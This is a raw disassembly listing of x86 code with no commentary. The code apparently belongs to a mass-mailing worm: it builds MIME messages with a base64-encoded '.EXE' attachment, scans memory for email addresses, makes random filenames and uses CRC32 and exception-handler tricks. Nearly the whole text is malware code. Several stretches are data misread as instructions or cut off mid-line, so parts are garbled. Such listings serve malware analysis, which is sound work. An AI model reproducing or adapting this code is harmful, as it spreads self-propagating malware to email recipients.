:004025C0 E806F6FFFF              call 00401BCB
:004025C5 3AC2                    cmp al, dl
:004025C7 0F8387000000            jae 00402654
:004025CD 60                      pushad
:004025CE 2BD9                    sub ebx, ecx
:004025D0 8BCB                    mov ecx, ebx
:004025D2 81EC04010000            sub esp, 00000104
:004025D8 54                      push esp
:004025D9 E8B40E0000              call 00403492

:004025DE 8B D4 2B DB 53 68 80 00 00 00 6A 03 53 6A 01 68   ..+.Sh....j.Sj.h
:004025EE 00 00 00 80 52 FF 95 AB 22 00 80 8B D8 40 74 4C   ....R..."....@tL
:004025FE 6A 00 53 FF 95 6F 22 00 80 8B C8 E3 38 8B 94 24   j.S..o".....8..$
:0040260E 28 01 00 00 03 42 02 3D 00 80 00 00 77 27 83 C0   (....B.=....w'..
:0040261E 0C 89 42 02 89 85 02 00 00 80 50 8B C4 6A 00 50   ..B.......P..j.P
:0040262E 51 57 03 F9 53 FF 95 A3 22 00 80 8B 46 04 AB 8B   QW..S..."...F...
:0040263E 46 08 AB 58 AB 53 FF 95 A7 22 00 80 81 C4 04 01   F..X.S..."......
:0040264E 00 00 89 3C 24 61 83 EE F4 49 0F 85 57 FF FF FF   ...<$a...I..W...
:0040265E 5F 8B 85 02 00 00 80 B9 20                        _....... 

---------
:00402667 8B4502                  mov eax, dword[ebp+02]
:0040266A 8BC8                    mov ecx, eax
:0040266C 5E                      pop esi
:0040266D 8BDF                    mov ebx, edi
:0040266F 81C700020000            add edi, 00000200
:00402675 57                      push edi
:00402676 F3A4                    rep movsb
:00402678 C783CB090000FF3424FF    mov dword[ebx+000009CB], FF2434FF
:00402682 C783CF0900003424C274    mov dword[ebx+000009CF], 74C22434
:0040268C 0FBAF51F                btr ebp, 0000001F
:00402690 60                      pushad
:00402691 7309                    jae 0040269C
:00402693 2BF0                    sub esi, eax
:00402695 56                      push esi
:00402696 FF95B3220000            call dword[ebp+000022B3]
---------
:0040269C 61                      popad
:0040269D 81C7FF010000            add edi, 000001FF
:004026A3 81E700FEFFFF            and edi, FFFFFE00
:004026A9 8B1424                  mov edx, dword[esp+esp]
:004026AC 8DB200FC0000            lea esi, dword[edx+0000FC00]
:004026B2 83C704                  add edi, 00000004
:004026B5 57                      push edi
:004026B6 2BFA                    sub edi, edx
:004026B8 87D7                    xchg edi, edx
:004026BA 89939C000000            mov dword[ebx+0000009C], edx
:004026C0 898388010000            mov dword[ebx+00000188], eax
:004026C6 81C200020000            add edx, 00000200
:004026CC 8993B4010000            mov dword[ebx+000001B4], edx
:004026D2 8D8200020000            lea eax, dword[edx+00000200]
:004026D8 8943FC                  mov dword[ebx-04], eax
:004026DB 8985F21C0000            mov dword[ebp+00001CF2], eax
:004026E1 81C2FF0D0000            add edx, 00000DFF
:004026E7 81E200F0FFFF            and edx, FFFFF000
:004026ED 8D8208100000            lea eax, dword[edx+00001008]
:004026F3 898300010000            mov dword[ebx+00000100], eax
:004026F9 899380010000            mov dword[ebx+00000180], edx
:004026FF 81C200100000            add edx, 00001000
:00402705 8993AC010000            mov dword[ebx+000001AC], edx
:0040270B 81C200100000            add edx, 00001000
:00402711 8993D0000000            mov dword[ebx+000000D0], edx
:00402717 81C200E0FEFF            add edx, FFFEE000
:0040271D 0116                    add dword[esi], edx
:0040271F 015608                  add dword[esi+08], edx
:00402722 015614                  add dword[esi+14], edx
:00402725 015618                  add dword[esi+18], edx
:00402728 015630                  add dword[esi+30], edx
:0040272B 68FF010000              push 000001FF
:00402730 59                      pop ecx
:00402731 5F                      pop edi
:00402732 F3A4                    rep movsb
:00402734 5E                      pop esi
:00402735 0544004000              add eax, 00400044
:0040273A 89461A                  mov dword[esi+1A], eax
:0040273D 83C0B4                  add eax, -0000004C
:00402740 894620                  mov dword[esi+20], eax
:00402743 81EE0DFAFFFF            sub esi, FFFFFA0D
:00402749 FE861CFAFFFF            inc byte[esi+FFFFFA1C]
:0040274F E839000000              call 0040278D
:00402754 83EEFA                  sub esi, -00000006
:00402757 E831000000              call 0040278D
:0040275C 81C60DFAFFFF            add esi, FFFFFA0D
:00402762 E826000000              call 0040278D
:00402767 AD                      lodsd
:00402768 E820000000              call 0040278D
:0040276D 6AFF                    push -00000001
:0040276F E857F4FFFF              call 00401BCB
:00402774 8986BD180000            mov dword[esi+000018BD], eax
:0040277A 8F4502                  pop dword[ebp+02]
:0040277D FFB5261F0000            push dword[ebp+00001F26]
:00402783 6A01                    push 00000001
:00402785 E89D040000              call 00402C27
:0040278A 58                      pop eax
:0040278B EB3F                    jmp 004027CC
=========
:0040278D 6AFF                    push -00000001
:0040278F E837F4FFFF              call 00401BCB
:00402794 0106                    add dword[esi], eax
:00402796 81260F0F0F0F            and dword[esi], 0F0F0F0F
:0040279C 810641414141            add dword[esi], 41414141
:004027A2 C3                      ret

---------
:004027A3 898518180000            mov dword[ebp+00001818], eax
:004027A9 6800000100              push 00010000
:004027AE 57                      push edi
:004027AF 57                      push edi
:004027B0 6A02                    push 00000002
:004027B2 50                      push eax
:004027B3 FF958F220000            call dword[ebp+0000228F]
:004027B9 85C0                    test eax, eax
:004027BB 7446                    je 00402803
:004027BD 8BF0                    mov esi, eax
:004027BF AD                      lodsd
:004027C0 89B5261F0000            mov dword[ebp+00001F26], esi
:004027C6 8985F21C0000            mov dword[ebp+00001CF2], eax
---------
:004027CC E800110000              call 004038D1
:004027D1 720C                    jc 004027DF
:004027D3 8D85C4210000            lea eax, dword[ebp+000021C4]
:004027D9 50                      push eax
:004027DA E870090000              call 0040314F
---------
:004027DF 8D85671F0000            lea eax, dword[ebp+00001F67]
:004027E5 50                      push eax
:004027E6 E864090000              call 0040314F
:004027EB 8D85EB180000            lea eax, dword[ebp+000018EB]
:004027F1 50                      push eax
:004027F2 E858090000              call 0040314F
:004027F7 81EDECE0FFFF            sub ebp, FFFFE0EC
:004027FD 55                      push ebp
:004027FE E84C090000              call 0040314F
---------
:00402803 61                      popad
:00402804 E9D9FAFFFF              jmp 004022E2

:00402809 60                                                `

:0040280A E8EEF0FFFF              call 004018FD
:0040280F 87F5                    xchg ebp, esi
:00402811 81C6261F0000            add esi, 00001F26
:00402817 688C000000              push 0000008C
:0040281C 8306FC                  add dword[esi], -00000004
:0040281F FF36                    push dword[esi]
:00402821 E8AA090000              call 004031D0
:00402826 6888000000              push 00000088
:0040282B 680030DA82              push 82DA3000
:00402830 E89B090000              call 004031D0
:00402835 E8C3F0FFFF              call 004018FD
:0040283A 680000AA75              push 75AA0000
:0040283F FF9577220000            call dword[ebp+00002277]
:00402845 686C000000              push 0000006C
:0040284A FFB5481C0000            push dword[ebp+00001C48]
:00402850 E87B090000              call 004031D0
:00402855 8BB5881F0000            mov esi, dword[ebp+00001F88]
:0040285B 56                      push esi
:0040285C 6A20                    push 00000020
:0040285E 59                      pop ecx
---------
:0040285F AD                      lodsd
:00402860 8BD0                    mov edx, eax
:00402862 AD                      lodsd
:00402863 85D2                    test edx, edx
:00402865 7407                    je 0040286E
:00402867 50                      push eax
:00402868 52                      push edx
:00402869 E862090000              call 004031D0
---------
:0040286E E2EF                    loop 0040285F
:00402870 FF95B3220000            call dword[ebp+000022B3]
:00402876 EB8B                    jmp 00402803
=========
:00402878 60                      pushad
:00402879 E87FF0FFFF              call 004018FD
:0040287E 68F0490200              push 000249F0
:00402883 FF95BB220000            call dword[ebp+000022BB]
:00402889 8D8592240000            lea eax, dword[ebp+00002492]
:0040288F 50                      push eax
:00402890 FFB5481C0000            push dword[ebp+00001C48]
:00402896 FF74242C                push dword[esp+2C]
:0040289A E888030000              call 00402C27
:0040289F 58                      pop eax
:004028A0 58                      pop eax
:004028A1 61                      popad
:004028A2 C20400                  ret 0004

:004028A5 F9 60 66 3D 60 F8                                 .`f=`.

:004028AB 8B7C2424                mov edi, dword[esp+24]
:004028AF 7213                    jc 004028C4
:004028B1 6804010000              push 00000104
:004028B6 57                      push edi
:004028B7 E841F0FFFF              call 004018FD
:004028BC FF9587220000            call dword[ebp+00002287]
:004028C2 03F8                    add edi, eax
---------
:004028C4 B120                    mov cl, 20
:004028C6 BAEAD8A401              mov edx, 01A4D8EA
:004028CB D3CA                    ror edx, cl
:004028CD 6A0C                    push 0000000C
:004028CF 59                      pop ecx
:004028D0 B05C                    mov al, 5C
:004028D2 AA                      stosb
:004028D3 8BC1                    mov eax, ecx
---------
:004028D5 8AC2                    mov al, dl
:004028D7 240F                    and al, 0F
:004028D9 0441                    add al, 41
:004028DB AA                      stosb
:004028DC C1C204                  rol edx, 04
:004028DF E2F4                    loop 004028D5
:004028E1 880F                    mov byte[edi], cl
:004028E3 C647FC2E                mov byte[edi-04], 2E
:004028E7 61                      popad
:004028E8 C20400                  ret 0004

:004028EB 60                                                `

:004028EC 6800000100              push 00010000
:004028F1 6A40                    push 00000040
:004028F3 E805F0FFFF              call 004018FD
:004028F8 FF95B7220000            call dword[ebp+000022B7]
:004028FE 85C0                    test eax, eax
:00402900 0F84C7020000            je 00402BCD
:00402906 50                      push eax
:00402907 2BC9                    sub ecx, ecx
:00402909 898800780000            mov dword[eax+00007800], ecx
:0040290F 8B5508                  mov edx, dword[ebp+08]
:00402912 899000F80000            mov dword[eax+0000F800], edx
:00402918 8B5506                  mov edx, dword[ebp+06]
:0040291B 899004F80000            mov dword[eax+0000F804], edx
:00402921 C78008F800002E455845    mov dword[eax+0000F808], 4558452E
:0040292B 89880CF80000            mov dword[eax+0000F80C], ecx
:00402931 50                      push eax
:00402932 6A08                    push 00000008
:00402934 E8EE020000              call 00402C27
:00402939 58                      pop eax
:0040293A 1BC9                    sbb ecx, ecx
:0040293C 51                      push ecx
:0040293D 8B7C2404                mov edi, dword[esp+04]
:00402941 81C700FC0000            add edi, 0000FC00
:00402947 6A1E                    push 0000001E
:00402949 E87DF2FFFF              call 00401BCB
:0040294E B92D2D5645              mov ecx, 45562D2D
:00402953 91                      xchg eax, ecx
:00402954 AB                      stosd
:00402955 6683C105                add cx, 0005
:00402959 6A24                    push 00000024
:0040295B E86BF2FFFF              call 00401BCB

:00402960 3C 1A 72 04 04 16 66                              <.r...f

:00402967 3D0441AAE2              cmp eax, E2AA4104
:0040296C EC                      in al, port[dx]
:0040296D 8BC1                    mov eax, ecx
:0040296F AB                      stosd
:00402970 8B742404                mov esi, dword[esp+04]
:00402974 81C600780000            add esi, 00007800
:0040297A 8B0424                  mov eax, dword[esp+esp]
:0040297D 85C0                    test eax, eax
:0040297F 7506                    jne 00402987
---------
:00402981 AC                      lodsb
:00402982 84C0                    test al, al
:00402984 75FB                    jne 00402981
:00402986 4E                      dec esi
---------
:00402987 8BFE                    mov edi, esi
:00402989 E83D000000              call 004029CB

:0040298E 4D 49 4D 45 2D 56 65 72 73 69 6F 6E 3A 20 31 2E 
          30 0D 0A                                          ;;n "MIME-Version: 1.0"
:004029A1 43 6F 6E 74 65 6E 74 2D 54 79 70 65 3A 20 6D 75 
          6C 74 69 70 61 72 74 2F 6D 69 78 65 64 3B 20 62 
          6F 75 6E 64 61 72 79 3D 22 00                     ;;n "Content-Type: multipart/mixed; boundary=""

=========
:004029CB 5E                      pop esi
:004029CC E8D3010000              call 00402BA4
:004029D1 E8DD010000              call 00402BB3
:004029D6 4F                      dec edi
:004029D7 4F                      dec edi
:004029D8 B8220D0A00              mov eax, 000A0D22
:004029DD AB                      stosd
:004029DE 4F                      dec edi
:004029DF E8C9010000              call 00402BAD
:004029E4 8B0424                  mov eax, dword[esp+esp]
:004029E7 85C0                    test eax, eax
:004029E9 7550                    jne 00402A3B
:004029EB E831000000              call 00402A21

:004029F0 43 6F 6E 74 65 6E 74 2D 54 79 70 65 3A 20 74 65 
          78 74 2F 70 6C 61 69 6E 3B 20 63 68 61 72 73 65 
          74 3D 22 75 73 2D 61 73 63 69 69 22 0D 0A         ;;n "Content-Type: text/plain; charset="us-ascii""
:00402A1E 0D 0A 00                                          ...

=========
:00402A21 5E                      pop esi
:00402A22 E87D010000              call 00402BA4
:00402A27 8B742404                mov esi, dword[esp+04]
:00402A2B E874010000              call 00402BA4
:00402A30 66B80D0A                mov ax, 0A0D
:00402A34 66AB                    stosw
:00402A36 E872010000              call 00402BAD
---------
:00402A3B E82F000000              call 00402A6F

:00402A40 43 6F 6E 74 65 6E 74 2D 54 79 70 65 3A 20 61 70 
          70 6C 69 63 61 74 69 6F 6E 2F 6F 63 74 65 74 2D 
          73 74 72 65 61 6D 3B 20 6E 61 6D 65 3D 22 00      ;;n "Content-Type: application/octet-stream; name=""

=========
:00402A6F 5E                      pop esi
:00402A70 E82F010000              call 00402BA4
:00402A75 8B742404                mov esi, dword[esp+04]
:00402A79 81C600F80000            add esi, 0000F800
:00402A7F E820010000              call 00402BA4
:00402A84 E852000000              call 00402ADB

:00402A89 22 0D                                             ".
:00402A8B 0A 43 6F 6E 74 65 6E 74 2D 54 72                  ;;p "Content-Tr"
:00402A96 61 6E 73 66 65 72 2D 45 6E 63 6F 64 69 6E 67 3A 
          20 62 61 73 65 36 34 0D 0A                        ;;n "ansfer-Encoding: base64"
:00402AAF 43 6F 6E 74 65 6E 74 2D 44 69 73 70 6F 73 69 74 
          69 6F 6E 3A 20 61 74 74 61 63 68 6D 65 6E 74 3B 
          20 66 69 6C 65 6E 61 6D 65 3D 22 00               ;;n "Content-Disposition: attachment; filename=""

=========
:00402ADB 5E                      pop esi
:00402ADC E8C3000000              call 00402BA4
:00402AE1 8B742404                mov esi, dword[esp+04]
:00402AE5 81C600F80000            add esi, 0000F800
:00402AEB E8B4000000              call 00402BA4
:00402AF0 B022                    mov al, 22
:00402AF2 AA                      stosb
:00402AF3 B80D0A0D0A              mov eax, 0A0D0A0D
:00402AF8 AB                      stosd
:00402AF9 E8FFEDFFFF              call 004018FD
:00402AFE 8B85F21C0000            mov eax, dword[ebp+00001CF2]
:00402B04 8BB5261F0000            mov esi, dword[ebp+00001F26]
:00402B0A E896080000              call 004033A5
:00402B0F 03F9                    add edi, ecx
:00402B11 E897000000              call 00402BAD
:00402B16 C747FE2D2D0D0A          mov dword[edi-02], 0A0D2D2D
:00402B1D C7470200000000          mov dword[edi+02], 00000000
:00402B24 58                      pop eax
:00402B25 812C240088FFFF          sub dword[esp+esp], FFFF8800
---------
:00402B2C 60                      pushad
:00402B2D E8CBEDFFFF              call 004018FD
:00402B32 6801010000              push 00000101
:00402B37 2BC0                    sub eax, eax
:00402B39 5E                      pop esi
:00402B3A E8AB0B0000              call 004036EA
:00402B3F 7255                    jc 00402B96
:00402B41 2BE6                    sub esp, esi
:00402B43 54                      push esp
:00402B44 56                      push esi
:00402B45 FF95B0120000            call dword[ebp+000012B0]
:00402B4B 85C0                    test eax, eax
:00402B4D 7541                    jne 00402B90
:00402B4F 54                      push esp
:00402B50 E87C000000              call 00402BD1
:00402B55 803C2400                cmp byte[esp+esp], 00
:00402B59 742F                    je 00402B8A
:00402B5B 8BF4                    mov esi, esp
:00402B5D E85BEFFFFF              call 00401ABD
:00402B62 6A00                    push 00000000
:00402B64 51                      push ecx
:00402B65 56                      push esi
:00402B66 E8CD030000              call 00402F38
:00402B6B 6A00                    push 00000000
:00402B6D 50                      push eax
:00402B6E E8310C0000              call 004037A4
:00402B73 7215                    jc 00402B8A
:00402B75 6A01                    push 00000001
:00402B77 50                      push eax
:00402B78 E8270C0000              call 004037A4
:00402B7D FFB42421010000          push dword[esp+00000121]
:00402B84 56                      push esi
:00402B85 E819090000              call 004034A3
---------
:00402B8A FF95B4120000            call dword[ebp+000012B4]
---------
:00402B90 81C401010000            add esp, 00000101
---------
:00402B96 6820BF0200              push 0002BF20
:00402B9B FF95BB220000            call dword[ebp+000022BB]
:00402BA1 61                      popad
:00402BA2 EB88                    jmp 00402B2C
=========
:00402BA4 AC                      lodsb
:00402BA5 84C0                    test al, al
:00402BA7 7403                    je 00402BAC
:00402BA9 AA                      stosb
:00402BAA EBF8                    jmp 00402BA4
---------
:00402BAC C3                      ret

=========
:00402BAD B80D0A2D2D              mov eax, 2D2D0A0D
:00402BB2 AB                      stosd
=========
:00402BB3 56                      push esi
:00402BB4 51                      push ecx
:00402BB5 8B742410                mov esi, dword[esp+10]
:00402BB9 81EE0004FFFF            sub esi, FFFF0400
:00402BBF E8E0FFFFFF              call 00402BA4
:00402BC4 66B80D0A                mov ax, 0A0D
:00402BC8 66AB                    stosw
:00402BCA 59                      pop ecx
:00402BCB 5E                      pop esi
:00402BCC C3                      ret

:00402BCD 61                                                a

:00402BCE C20400                  ret 0004

:00402BD1 60                                                `

:00402BD2 E826EDFFFF              call 004018FD
---------
:00402BD7 8B8D6F280000            mov ecx, dword[ebp+0000286F]
:00402BDD E3F8                    jecxz 00402BD7
:00402BDF FF8D6F280000            dec dword[ebp+0000286F]
:00402BE5 8B7C2424                mov edi, dword[esp+24]
:00402BE9 8BB52C180000            mov esi, dword[ebp+0000182C]
:00402BEF 8B06                    mov eax, dword[esi]
:00402BF1 85C0                    test eax, eax
:00402BF3 7427                    je 00402C1C
:00402BF5 50                      push eax
:00402BF6 50                      push eax
:00402BF7 FF955F220000            call dword[ebp+0000225F]
:00402BFD 85C0                    test eax, eax
:00402BFF 58                      pop eax
:00402C00 751A                    jne 00402C1C
:00402C02 8B00                    mov eax, dword[eax]
:00402C04 8706                    xchg dword[esi], eax
:00402C06 8BF0                    mov esi, eax
:00402C08 AD                      lodsd
:00402C09 50                      push eax
:00402C0A AD                      lodsd
:00402C0B 870424                  xchg dword[esp+esp], eax
:00402C0E 50                      push eax
:00402C0F E8A9EEFFFF              call 00401ABD
:00402C14 F3A4                    rep movsb
:00402C16 91                      xchg eax, ecx
:00402C17 E8B4050000              call 004031D0
---------
:00402C1C AA                      stosb
:00402C1D FF856F280000            inc dword[ebp+0000286F]
:00402C23 61                      popad
:00402C24 C20400                  ret 0004

:00402C27 60 E8 D0 EC FF FF 2B C9 C6 85 79 1C 00 00 F9 C6   `.....+...y.....
:00402C37 85 6E 1C 00 00 EB C7 85 74 1C 00 00 10 00 00 00   .n......t.......
:00402C47 BE 00 10 D8 82 81 EC 13 01 00 00 8B D4 AD 85 84   ................
:00402C57 24 37 01 00 00 75 20                              $7...u 

---------
:00402C5E 83C608                  add esi, 00000008
:00402C61 FEC1                    inc cl
:00402C63 80F920                  cmp cl, 20
:00402C66 72EC                    jc 00402C54
:00402C68 81ECEDFEFFFF            sub esp, FFFFFEED
:00402C6E EB08                    jmp 00402C78
:00402C70 C74424282083B8ED        mov dword[esp+28], EDB88320
---------
:00402C78 61                      popad
:00402C79 F9                      stc
:00402C7A C20400                  ret 0004

:00402C7D 2D52515688              sub eax, 88565152
:00402C82 8DC5                    lea eax, ebp
:00402C84 1800                    sbb byte[eax], al
:00402C86 005252                  add byte[edx+52], dl
:00402C89 E81BFCFFFF              call 004028A9
:00402C8E E8E0020000              call 00402F73
:00402C93 5E                      pop esi
:00402C94 59                      pop ecx
:00402C95 5A                      pop edx
:00402C96 72C6                    jc 00402C5E
:00402C98 C685791C0000F8          mov byte[ebp+00001C79], -08
:00402C9F 8B842437010000          mov eax, dword[esp+00000137]
:00402CA6 60                      pushad
:00402CA7 E80B000000              call 00402CB7
:00402CAC BC2083B8ED              mov esp, EDB88320
:00402CB1 830C2402                or dword[esp+esp], 00000002
:00402CB5 EB65                    jmp 00402D1C
=========
:00402CB7 6467FF360000            push dword fs:[0000]
:00402CBD 646789260000            mov dword fs:[0000], esp
:00402CC3 83C4EC                  add esp, -00000014
:00402CC6 89A5AD1C0000            mov dword[ebp+00001CAD], esp
:00402CCC 890424                  mov dword[esp+esp], eax
:00402CCF A920000000              test eax, 00000020
:00402CD4 750E                    jne 00402CE4
:00402CD6 A940000000              test eax, 00000040
:00402CDB 7507                    jne 00402CE4
:00402CDD A902000000              test eax, 00000002
:00402CE2 740D                    je 00402CF1
---------
:00402CE4 8B84247B010000          mov eax, dword[esp+0000017B]
:00402CEB 89442408                mov dword[esp+08], eax
:00402CEF EB09                    jmp 00402CFA
---------
:00402CF1 B82083B8ED              mov eax, EDB88320
:00402CF6 89442408                mov dword[esp+08], eax
---------
:00402CFA 8B842477010000          mov eax, dword[esp+00000177]
:00402D01 89442404                mov dword[esp+04], eax
:00402D05 8B859F220000            mov eax, dword[ebp+0000229F]
:00402D0B 8944240C                mov dword[esp+0C], eax
:00402D0F 8B859B220000            mov eax, dword[ebp+0000229B]
:00402D15 89442410                mov dword[esp+10], eax
:00402D19 54                      push esp
:00402D1A FFD7                    call edi
---------
:00402D1C E8DCEBFFFF              call 004018FD
:00402D21 8B0424                  mov eax, dword[esp+esp]
:00402D24 A804                    test al, 04
:00402D26 7506                    jne 00402D2E
:00402D28 A802                    test al, 02
:00402D2A 7402                    je 00402D2E
:00402D2C 0C40                    or al, 40
---------
:00402D2E A880                    test al, -80
:00402D30 754E                    jne 00402D80
:00402D32 A801                    test al, 01
:00402D34 7435                    je 00402D6B
:00402D36 83BD741C000008          cmp dword[ebp+00001C74], 00000008
:00402D3D 740A                    je 00402D49
:00402D3F C785741C000001000000    mov dword[ebp+00001C74], 00000001
---------
:00402D49 C6856E1C00003C          mov byte[ebp+00001C6E], 3C
:00402D50 F744243801000000        test dword[esp+38], 00000001
:00402D58 7411                    je 00402D6B
:00402D5A 8B4C2408                mov ecx, dword[esp+08]
:00402D5E 898DF21C0000            mov dword[ebp+00001CF2], ecx
:00402D64 8B7C2404                mov edi, dword[esp+04]
:00402D68 894FFC                  mov dword[edi-04], ecx
---------
:00402D6B A808                    test al, 08
:00402D6D 7411                    je 00402D80
:00402D6F C6856E1C00003C          mov byte[ebp+00001C6E], 3C
:00402D76 C785741C000008000000    mov dword[ebp+00001C74], 00000008
---------
:00402D80 A840                    test al, 40
:00402D82 740A                    je 00402D8E
:00402D84 FF742430                push dword[esp+30]
:00402D88 FF95BF220000            call dword[ebp+000022BF]
---------
:00402D8E 83C414                  add esp, 00000014
:00402D91 64678F060000            pop dword fs:[0000]
:00402D97 58                      pop eax
:00402D98 FF3424                  push dword[esp+esp]
:00402D9B FF95B3220000            call dword[ebp+000022B3]
:00402DA1 61                      popad
:00402DA2 E9B7FEFFFF              jmp 00402C5E

:00402DA7 60                                                `

:00402DA8 83EC28                  sub esp, 00000028
:00402DAB 8B742454                mov esi, dword[esp+54]
:00402DAF 8D7E10                  lea edi, dword[esi+10]
:00402DB2 A5                      movsd
:00402DB3 A5                      movsd
:00402DB4 A5                      movsd
:00402DB5 A5                      movsd
:00402DB6 8B6C2454                mov ebp, dword[esp+54]
:00402DBA 8B4C2450                mov ecx, dword[esp+50]
:00402DBE 8B54244C                mov edx, dword[esp+4C]
:00402DC2 C1E903                  shr ecx, 03
---------
:00402DC5 8D7510                  lea esi, dword[ebp+10]
:00402DC8 AD                      lodsd
:00402DC9 890424                  mov dword[esp+esp], eax
:00402DCC F7D0                    not eax
:00402DCE 89442418                mov dword[esp+18], eax
:00402DD2 AD                      lodsd
:00402DD3 89442404                mov dword[esp+04], eax
:00402DD7 F7D0                    not eax
:00402DD9 8944241C                mov dword[esp+1C], eax
:00402DDD AD                      lodsd
:00402DDE 89442410                mov dword[esp+10], eax
:00402DE2 89442420                mov dword[esp+20], eax
:00402DE6 AD                      lodsd
:00402DE7 89442414                mov dword[esp+14], eax
:00402DEB 89442424                mov dword[esp+24], eax
:00402DEF 8B02                    mov eax, dword[edx]
:00402DF1 89442408                mov dword[esp+08], eax
:00402DF5 8B4204                  mov eax, dword[edx+04]
:00402DF8 8944240C                mov dword[esp+0C], eax
:00402DFC 83C208                  add edx, 00000008
:00402DFF 8D742408                lea esi, dword[esp+08]
:00402E03 8D7C2418                lea edi, dword[esp+18]
:00402E07 E836EAFFFF              call 00401842
:00402E0C 8B07                    mov eax, dword[edi]
:00402E0E 314510                  xor dword[ebp+10], eax
:00402E11 8B4704                  mov eax, dword[edi+04]
:00402E14 314514                  xor dword[ebp+14], eax
:00402E17 8BF4                    mov esi, esp
:00402E19 8D7C2420                lea edi, dword[esp+20]
:00402E1D E820EAFFFF              call 00401842
:00402E22 8B07                    mov eax, dword[edi]
:00402E24 314518                  xor dword[ebp+18], eax
:00402E27 8B4704                  mov eax, dword[edi+04]
:00402E2A 31451C                  xor dword[ebp+1C], eax
:00402E2D E296                    loop 00402DC5
:00402E2F 83C428                  add esp, 00000028
:00402E32 61                      popad
:00402E33 C20C00                  ret 000C

:00402E36 E819000000              call 00402E54
:00402E3B 8B642408                mov esp, dword[esp+08]
:00402E3F C7442420FFFFFFFF        mov dword[esp+20], FFFFFFFF
---------
:00402E47 61                      popad
:00402E48 64678F060000            pop dword fs:[0000]
:00402E4E 83C404                  add esp, 00000004
:00402E51 C21000                  ret 0010

=========
:00402E54 6467FF360000            push dword fs:[0000]
:00402E5A 646789260000            mov dword fs:[0000], esp
:00402E60 FF742418                push dword[esp+18]
:00402E64 FF742418                push dword[esp+18]
:00402E68 FF742418                push dword[esp+18]
:00402E6C FF742418                push dword[esp+18]
:00402E70 E89A000000              call 00402F0F
:00402E75 60                      pushad
:00402E76 91                      xchg eax, ecx
:00402E77 E3CE                    jecxz 00402E47
:00402E79 41                      inc ecx
:00402E7A 74CB                    je 00402E47
:00402E7C 83E920                  sub ecx, 00000020
:00402E7F 76C6                    jbe 00402E47
:00402E81 83C110                  add ecx, 00000010
:00402E84 8B742430                mov esi, dword[esp+30]
---------
:00402E88 AC                      lodsb
:00402E89 3C40                    cmp al, 40
:00402E8B 7404                    je 00402E91
---------
:00402E8D E2F9                    loop 00402E88
:00402E8F EBB6                    jmp 00402E47
---------
:00402E91 8BFE                    mov edi, esi
:00402E93 2BED                    sub ebp, ebp
---------
:00402E95 4F                      dec edi
:00402E96 45                      inc ebp
:00402E97 E846000000              call 00402EE2
:00402E9C 7207                    jc 00402EA5
:00402E9E 83FD0C                  cmp ebp, 0000000C
:00402EA1 76F2                    jbe 00402E95
:00402EA3 2BED                    sub ebp, ebp
---------
:00402EA5 83FD04                  cmp ebp, 00000004
:00402EA8 72E3                    jc 00402E8D
:00402EAA 2BED                    sub ebp, ebp
:00402EAC 8BD7                    mov edx, edi
:00402EAE 8BFE                    mov edi, esi
---------
:00402EB0 47                      inc edi
:00402EB1 45                      inc ebp
:00402EB2 83FD14                  cmp ebp, 00000014
:00402EB5 73D6                    jae 00402E8D
:00402EB7 803F2E                  cmp byte[edi], 2E
:00402EBA 75F4                    jne 00402EB0
:00402EBC 807F042E                cmp byte[edi+04], 2E
:00402EC0 74EE                    je 00402EB0
:00402EC2 807F032E                cmp byte[edi+03], 2E
:00402EC6 74E8                    je 00402EB0
:00402EC8 83C705                  add edi, 00000005
:00402ECB E812000000              call 00402EE2
:00402ED0 7208                    jc 00402EDA
:00402ED2 4F                      dec edi
:00402ED3 E80A000000              call 00402EE2
:00402ED8 73B3                    jae 00402E8D
---------
:00402EDA 52                      push edx
:00402EDB E88D090000              call 0040386D
:00402EE0 EBAB                    jmp 00402E8D

:00402EE2 BB 3D 3A 2C 20 C1 CB 08 38 5F FF 74 1E 80 7F FF   .=:, ...8_.t....
:00402EF2 00 74 18 80 7F FF 7E 74 12 80 7F FF 3C 74 0C 80   .t....~t....t...=u...

:00402F0E C3                      ret

=========
:00402F0F E97E57FFFF              jmp 003F8692

:00402F14 60                                                `

:00402F15 68E0930400              push 000493E0
:00402F1A E8DEE9FFFF              call 004018FD
:00402F1F FF95BB220000            call dword[ebp+000022BB]
:00402F25 6804107183              push 83711004
:00402F2A 6A04                    push 00000004
:00402F2C E8F6FCFFFF              call 00402C27

:00402F31 5D EB FE 61                                       ]..a

:00402F35 C20400                  ret 0004

:00402F38 60                                                `

:00402F39 8B542424                mov edx, dword[esp+24]
:00402F3D 8B4C2428                mov ecx, dword[esp+28]
:00402F41 8B44242C                mov eax, dword[esp+2C]
:00402F45 E318                    jecxz 00402F5F
:00402F47 F7D0                    not eax
---------
:00402F49 3202                    xor al, byte[edx]
:00402F4B 42                      inc edx
:00402F4C B308                    mov bl, 08
---------
:00402F4E D1E8                    shr eax, 1
:00402F50 7305                    jae 00402F57
:00402F52 352083B8ED              xor eax, EDB88320
---------
:00402F57 FECB                    dec bl
:00402F59 75F3                    jne 00402F4E
:00402F5B E2EC                    loop 00402F49
:00402F5D F7D0                    not eax
---------
:00402F5F 8944241C                mov dword[esp+1C], eax
:00402F63 61                      popad
:00402F64 C20C00                  ret 000C

:00402F67 60                                                `

:00402F68 6A40                    push 00000040
:00402F6A E809F9FFFF              call 00402878
:00402F6F 61                      popad
:00402F70 C20400                  ret 0004

:00402F73 60                                                `

:00402F74 E884E9FFFF              call 004018FD
:00402F79 C68542210000F9          mov byte[ebp+00002142], -07
:00402F80 0FB685C5180000          movzx eax, byte[ebp+000018C5]
:00402F87 B9A86D4300              mov ecx, 00436DA8
:00402F8C 8D04C1                  lea eax, dword[ecx+8*eax]
:00402F8F 8944241C                mov dword[esp+1C], eax
:00402F93 8B08                    mov ecx, dword[eax]
:00402F95 E326                    jecxz 00402FBD
:00402F97 BF00000100              mov edi, 00010000
:00402F9C 57                      push edi
:00402F9D 6A40                    push 00000040
:00402F9F 8BF1                    mov esi, ecx
:00402FA1 FF95B7220000            call dword[ebp+000022B7]
:00402FA7 85C0                    test eax, eax
:00402FA9 0F8493010000            je 00403142
:00402FAF 97                      xchg eax, edi
:00402FB0 91                      xchg eax, ecx
:00402FB1 57                      push edi
:00402FB2 F3A4                    rep movsb
:00402FB4 5F                      pop edi
:00402FB5 893C24                  mov dword[esp+esp], edi
:00402FB8 E908010000              jmp 004030C5

:00402FBD 2B C0                                             +.

:00402FBF 50                      push eax
:00402FC0 6880000000              push 00000080
:00402FC5 6A03                    push 00000003
:00402FC7 50                      push eax
:00402FC8 6A01                    push 00000001
:00402FCA 6800000080              push 80000000
:00402FCF 52                      push edx
:00402FD0 FF95AB220000            call dword[ebp+000022AB]
